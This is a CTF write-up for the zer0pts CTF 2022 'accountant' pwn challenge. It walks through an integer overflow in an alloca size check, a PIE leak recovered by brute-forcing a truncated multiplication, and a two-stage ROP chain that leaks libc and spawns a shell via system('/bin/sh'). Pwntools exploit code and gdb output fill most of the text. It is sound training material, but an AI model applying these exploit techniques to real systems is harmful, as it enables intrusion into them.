zer0pts CTF 2022 - accountant
Christian Wolff is an accountant.
nc pwn1.ctf.zer0pts.com 9001
Attachment: accountant.tar.gz xpl.py
Team: Super HexaGoN
Number of items: 2
Item 1:
Price: $1
Quantity: 2
Item 2:
Price: $3
Quantity: 4
Total: $14
Would you like to fix data? [1=Yes] 1
Index to modify (-1 to quit): 0
Item 1:
Price: $100
Quantity: 200
Index to modify (-1 to quit):
The accountant challenge lets us define a number of items, define them and after that allows us to modify them before calculating the final total cost.
// Allocating items
#define safe_alloca(N) ((N) < 4032 ? alloca (N) : NULL)
if (( items = safe_alloca ( n * sizeof ( Item ))) == NULL ) {
use_malloc = 1 ;
if (( items = calloc ( n , sizeof ( Item ))) == NULL ) {
puts ( "Memory Error \n " );
return 1 ;
}
}
...
// Modifying items
if ( get_value ( "Would you like to fix data? [1=Yes] " ) == 1 ) {
while ( 1 ) {
off_t i = get_value ( "Index to modify (-1 to quit): " );
if ( i < 0 || i >= n )
break ;
else
input_data ( items , i );
}
printf ( "Total: $%ld \n " , calc_total ( items , n ));
}
If we would achieve to define a big n
(size of items array), while allocating a smaller list of items, the modification code would result in an oob write primitive. This would be even better, if we can use the alloca
branch, since that would allocate the list on the stack, so that we’d be able to write a ropchain there.
To achieve that, the parameter for safe_alloca
needs to be smaller than 4032, so that alloca
is used. And since we would like to have n
being bigger than the real allocated space, it becomes obvious, that we’ll need to abuse an integer overflow.
if ((items = safe_alloca(n * sizeof(Item))) == NULL) {
Xion pointed out quite early, that using a size of 0x2000000000000000
would result in an overflow and to a pie leak in calc_total
afterwards.
If it’s not obvious at this point:
sizeof(Item) = 8
0x2000000000000000 * 8 = 0x10000000000000000 (not fitting in 64 bit) => 0x0
=> safe_alloca(0)
=> n = 0x2000000000000000
So after that n
would have a value of 0x2000000000000000
, but the chunk was allocated with size 0x0
, allowing us to overwrite all the data behind on the stack via the modification code.
But to do so, we’d first need a leak to find some proper rop gadgets, since the challenge has PIE enabled.
Getting the leak was a bit more tricky than doing the ropchain afterwards, so let’s take a look at “what” exactly we can leak.
int64_t calc_total ( Item * items , int n ) {
int64_t total = 0 ;
int i = n - 1 ;
do {
total += items [ i ]. price * items [ i ]. quantity ;
} while ( i -- > 0 );
return total ;
}
Since i
is an int
, assigning n-1
will set it to -1
before the loop and since i--
is negative already at that point, will execute the loop only once.
So that code boils down to:
total = items [ - 1 ]. price * items [ - 1 ]. quantity ;
Since price
and quantity
are also 32bit int
s, it will multiply the lower 32 bit of a value on the stack with the higher 32 bit of that value and store it back into a 32 bit value (thus losing information to reverse this multiplication in a reliable way).
Checking this in gdb
might make the issue more clear.
0x0000555555554a8a in calc_total ()
───────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xffffffffffffffff # i = -1
$rbx : 0x2000000000000000
$rcx : 0x0
$rdx : 0xe000000000000000
$rsp : 0x00007fffffffecf8 → 0x0000555555554b6c → <main+191> mov rdx, rax
$rbp : 0x00007fffffffed50 → 0x0000000000000000
$rsi : 0x0
$rdi : 0x00007fffffffed00 → 0x0000000000000000
$rip : 0x0000555555554a8a → <calc_total+5> lea rcx, [rdi+rax*8+0x4]
$r8 : 0x1999999999999999
$r9 : 0x0
$r10 : 0x00007ffff7f72ac0 → 0x0000000100000000
$r11 : 0x00007ffff7f733c0 → 0x0002000200020002
$r12 : 0x00007fffffffed00 → 0x0000000000000000
$r13 : 0x00007fffffffed00 → 0x0000000000000000
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555554a83 <input_all_data+40> repz ret
0x555555554a85 <calc_total+0> lea eax, [rsi-0x1]
0x555555554a88 <calc_total+3> cdqe
→ 0x555555554a8a <calc_total+5> lea rcx, [rdi+rax*8+0x4]
0x555555554a8f <calc_total+10> mov eax, 0x0
0x555555554a94 <calc_total+15> mov edx, DWORD PTR [rcx-0x4]
0x555555554a97 <calc_total+18> imul edx, DWORD PTR [rcx]
0x555555554a9a <calc_total+21> movsxd rdx, edx
0x555555554a9d <calc_total+24> add rax, rdx
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffecf8│+0x0000: 0x0000555555554b6c → <main+191> mov rdx, rax ← $rsp
0x00007fffffffed00│+0x0008: 0x0000000000000000 ← $rdi, $r12, $r13
0x00007fffffffed08│+0x0010: 0x0000555555554b19 → <main+108> test rax, rax
0x00007fffffffed10│+0x0018: 0x0000000000000001
0x00007fffffffed18│+0x0020: 0x72b02c87d3d1f400
0x00007fffffffed20│+0x0028: 0x00007ffff7fc82e8 → 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
...
───────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x2000000000000000
$rcx : 0x00007fffffffecfc → 0x0000000000005555 ("UU"?) <= upper 32 bit
$rdx : 0x55554b6c <= lower 32 bit
$rsp : 0x00007fffffffecf8 → 0x0000555555554b6c → <main+191> mov rdx, rax
$rbp : 0x00007fffffffed50 → 0x0000000000000000
$rsi : 0x0
$rdi : 0x00007fffffffed00 → 0x0000000000000000
$rip : 0x0000555555554a97 → <calc_total+18> imul edx, DWORD PTR [rcx]
$r8 : 0x1999999999999999
$r9 : 0x0
$r10 : 0x00007ffff7f72ac0 → 0x0000000100000000
$r11 : 0x00007ffff7f733c0 → 0x0002000200020002
$r12 : 0x00007fffffffed00 → 0x0000000000000000
$r13 : 0x00007fffffffed00 → 0x0000000000000000
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555554a8a <calc_total+5> lea rcx, [rdi+rax*8+0x4]
0x555555554a8f <calc_total+10> mov eax, 0x0
0x555555554a94 <calc_total+15> mov edx, DWORD PTR [rcx-0x4]
→ 0x555555554a97 <calc_total+18> imul edx, DWORD PTR [rcx]
0x555555554a9a <calc_total+21> movsxd rdx, edx
0x555555554a9d <calc_total+24> add rax, rdx
0x555555554aa0 <calc_total+27> sub esi, 0x1
0x555555554aa3 <calc_total+30> sub rcx, 0x8
0x555555554aa7 <calc_total+34> test esi, esi
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffecf8│+0x0000: 0x0000555555554b6c → <main+191> mov rdx, rax ← $rsp
0x00007fffffffed00│+0x0008: 0x0000000000000000 ← $rdi, $r12, $r13
0x00007fffffffed08│+0x0010: 0x0000555555554b19 → <main+108> test rax, rax
0x00007fffffffed10│+0x0018: 0x0000000000000001
0x00007fffffffed18│+0x0020: 0x72b02c87d3d1f400
0x00007fffffffed20│+0x0028: 0x00007ffff7fc82e8 → 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/gx 0x00007fffffffecf8
0x7fffffffecf8: 0x0000555555554b6c <= Items[-1]
───────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x2000000000000000
$rcx : 0x00007fffffffecfc → 0x0000000000005555 ("UU"?)
$rdx : 0xa75ce6dc <= leakable value
$rsp : 0x00007fffffffecf8 → 0x0000555555554b6c → <main+191> mov rdx, rax
$rbp : 0x00007fffffffed50 → 0x0000000000000000
$rsi : 0x0
$rdi : 0x00007fffffffed00 → 0x0000000000000000
$rip : 0x0000555555554a9a → <calc_total+21> movsxd rdx, edx
$r8 : 0x1999999999999999
$r9 : 0x0
$r10 : 0x00007ffff7f72ac0 → 0x0000000100000000
$r11 : 0x00007ffff7f733c0 → 0x0002000200020002
$r12 : 0x00007fffffffed00 → 0x0000000000000000
$r13 : 0x00007fffffffed00 → 0x0000000000000000
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY parity adjust SIGN trap INTERRUPT direction OVERFLOW resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555554a8f <calc_total+10> mov eax, 0x0
0x555555554a94 <calc_total+15> mov edx, DWORD PTR [rcx-0x4]
0x555555554a97 <calc_total+18> imul edx, DWORD PTR [rcx]
→ 0x555555554a9a <calc_total+21> movsxd rdx, edx
0x555555554a9d <calc_total+24> add rax, rdx
0x555555554aa0 <calc_total+27> sub esi, 0x1
0x555555554aa3 <calc_total+30> sub rcx, 0x8
0x555555554aa7 <calc_total+34> test esi, esi
0x555555554aa9 <calc_total+36> jg 0x555555554a94 <calc_total+15>
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffecf8│+0x0000: 0x0000555555554b6c → <main+191> mov rdx, rax ← $rsp
0x00007fffffffed00│+0x0008: 0x0000000000000000 ← $rdi, $r12, $r13
0x00007fffffffed08│+0x0010: 0x0000555555554b19 → <main+108> test rax, rax
0x00007fffffffed10│+0x0018: 0x0000000000000001
0x00007fffffffed18│+0x0020: 0x72b02c87d3d1f400
0x00007fffffffed20│+0x0028: 0x00007ffff7fc82e8 → 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
Total: $-1487083812 (0xa75ce6dc)
Since imul edx
will strip the result into 32bit, we cannot reliably reverse this process, but well, we’re (partly) Super Guessers, so let’s guess what the initial values could have been :)
def calc_leak ( leak ):
for i in range ( 0x2000 ):
for j in range ( 0x5500 , 0x55ff , 1 ):
# create possible 64 bit result and revert imul
val = i << 32
val += leak
val /= j
# check if lsb matches the expected value
if val & 0xfff == 0xb6c :
result = j << 32
result += val
# double check: simulate imul with specific values
t1 = result >> 32
t2 = result & 0xffffffff
test = ( t1 * t2 ) & 0xffffffff
# check if the result matches the original leak
if test == leak :
log . info ( "Double check good" )
return result
log . info ( "None found" )
With the first loop, I guessed the possible higher 32 bit of the imul
result and then tried to revert it. The second loop would simulate the possible values of the higher 32 bit for the value on the stack itself, that gets multiplicated (should be something between 0x5500
and 0x55ff
).
Then we can check, if the result would have it’s lower 3 nibbles match the expected leak. But this would result in a lot of possible combinations, that would match that check. So when ever finding a “possible” value, we have to do a double check with the calculated higher and lower 32 bit of the result leak to see, if that would also result in the received total
value.
Since total
is a signed integer value, we also need to change it to an unsigned value in python before doing the calculation.
def get_val ( val ):
if val > 0x7fffffff :
val -= 0x100000000
if val < 0 :
val += 0x100000000
return val
def exploit ( r ):
r . sendlineafter ( ": " , str ( 0x2000000000000000 ))
r . recvuntil ( "Total: $" )
val = get_val ( int ( r . recvline ()[: - 1 ]))
PIELEAK = calc_leak ( val )
e . address = PIELEAK - 191 - e . symbols [ "main" ]
log . info ( "PIE : %s" % hex ( PIELEAK ))
log . info ( "ELF : %s" % hex ( e . address ))
r . interactive ()
[*] Double check good
[*] PIE : 0x555555554b6c
[*] ELF : 0x555555554000
Worked out pretty well and armed with a PIE leak, we can now gather some rop gadgets and do the usual ropchain.
r . sendlineafter ( "[1=Yes] " , "1" )
POPRDI = e . address + 0x0000000000000d53
POPRSI15 = e . address + 0x0000000000000d51
RET = e . address + 0x00000000000007be
payload = p64 ( POPRDI )
payload += p64 ( e . got [ "puts" ])
payload += p64 ( e . plt [ "puts" ])
payload += p64 ( e . address + 0x880 )
# write ropchain to return address of main
for i in range ( 0 , len ( payload ), 8 ):
modify (( 0x58 + i ) / 8 , u64 ( payload [ i : i + 8 ]))
r . sendlineafter ( ": " , "-1" ) # trigger exit (ropchain)
This will leak puts.got
(libc) and then jump back into main, which lets us trigger the bug again.
r . recvuntil ( "work! \n " )
LEAK = u64 ( r . recvline ()[: - 1 ]. ljust ( 8 , " \x00 " ))
libc . address = LEAK - 0x84450
log . info ( "LEAK : %s" % hex ( LEAK ))
log . info ( "LIBC : %s" % hex ( libc . address ))
r . sendlineafter ( ": " , str ( 0x2000000000000000 ))
r . sendlineafter ( "[1=Yes] " , "1" )
payload = p64 ( POPRDI )
payload += p64 ( next ( libc . search ( "/bin/sh" )))
payload += p64 ( POPRSI15 )
payload += p64 ( 0 )
payload += p64 ( 0 )
payload += p64 ( libc . symbols [ "system" ])
for i in range ( 0 , len ( payload ), 8 ):
modify (( 0x58 + i ) / 8 , u64 ( payload [ i : i + 8 ]))
r . sendlineafter ( ": " , "-1" ) # trigger exit (ropchain)
Knowing libc
, we can then just do a normal system("/bin/sh")
rop chain.
$ python work.py 1
[*] '/media/sf_ctf/zero/accountant/accountant/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
[*] '/media/sf_ctf/zero/accountant/accountant/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to pwn1.ctf.zer0pts.com on port 9001: Done
[*] Double check good
[*] PIE : 0x55eb4b284b6c
[*] ELF : 0x55eb4b284000
[*] LEAK : 0x7f4399c37450
[*] LIBC : 0x7f4399bb3000
[*] Switching to interactive mode
Total: $1601536358
Have a nice day at work!
$ ls
chall
flag-1eae7e8f51f0e28320ef9f538c8be839.txt
$ cat flag-1eae7e8f51f0e28320ef9f538c8be839.txt
zer0pts{y0u_4r3_4_c3rt1f13d_publ1c_4cc0unt4nt_if_U_R_r34d1ng_th1s}
Since there’s some guessing involved, the exploit is not 100% reliable, as it can happen that no leak is found, but it seemed to work most of the times.